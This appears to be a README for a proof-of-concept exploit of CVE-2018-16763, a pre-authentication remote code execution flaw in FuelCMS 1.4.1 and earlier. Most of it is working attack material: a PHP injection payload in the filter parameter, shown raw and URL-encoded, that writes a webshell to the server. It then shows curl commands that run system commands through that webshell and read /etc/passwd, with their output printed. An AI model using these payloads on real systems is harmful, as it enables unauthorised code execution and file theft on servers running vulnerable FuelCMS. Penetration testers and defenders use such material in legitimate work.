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FuelCMS - CVE-2018-16763 - Pre-Auth Remote Code Execution

Requirements

  • FuelCMS version <= 1.4.1
  • Unauthenticated.

Exploitation

Download the exploit

You can find the exploit code for this CVE here: https://github.com/p0dalirius/CVE-2018-16763-FuelCMS-1.4.1-RCE

Step 1: Upload the webshell plugin

First, you need to start the interactive console.py to execute commands and download remote files. It will use CVE-2018-16763 php code injection in the filter parameter to upload a php webshell API in FuelCMS using file_put_contents. The payload used is the following:

'+pi(print($a='file_put_contents'))+$a($_POST["d0eb3f9a"],$_POST["9bc30f43"])+'

This payload urlencoded gives:

%27%2Bpi%28print%28%24a%3D%27file%5Fput%5Fcontents%27%29%29%2B%24a%28%24%5FPOST%5B%22d0eb3f9a%22%5D%2C%24%5FPOST%5B%229bc30f43%22%5D%29%2B%27

The final exploit URL is:

http://127.0.0.1:10080/fuel/pages/select/?filter=%27%2Bpi%28print%28%24a%3D%27file%5Fput%5Fcontents%27%29%29%2B%24a%28%24%5FPOST%5B%22d0eb3f9a%22%5D%2C%24%5FPOST%5B%229bc30f43%22%5D%29%2B%27

Now the interactive console.py performs a POST request to this URL to upload ./webshell/webshell.php into Fuel CMS.

Step 2.1: Executing commands

You can now execute commands by sending a GET or POST request to http://127.0.0.1:10080/c1f3e834b49c4e548ebde7f596028f5b.php with action=exec&cmd=id:

$ curl -X POST 'http://127.0.0.1:10080/c1f3e834b49c4e548ebde7f596028f5b.php' --data "action=exec&cmd=id"
{"stdout":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","exec":"id"}

You can also access it by a GET request from a browser.

Step 2.2: Downloading files

You can also download remote files by sending a GET or POST request to http://127.0.0.1:10080/c1f3e834b49c4e548ebde7f596028f5b.php with action=download&cmd=/etc/passwd:

$ curl -X POST 'http://127.0.0.1:10080/c1f3e834b49c4e548ebde7f596028f5b.php' --data "action=download&path=/etc/passwd" -o-
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false

You can also download a remote file from a browser with a GET request.

Step 3: The interactive console

When your webshell is active, you can now use the interactive console.py to execute commands and download remote files.

demo.mp4

References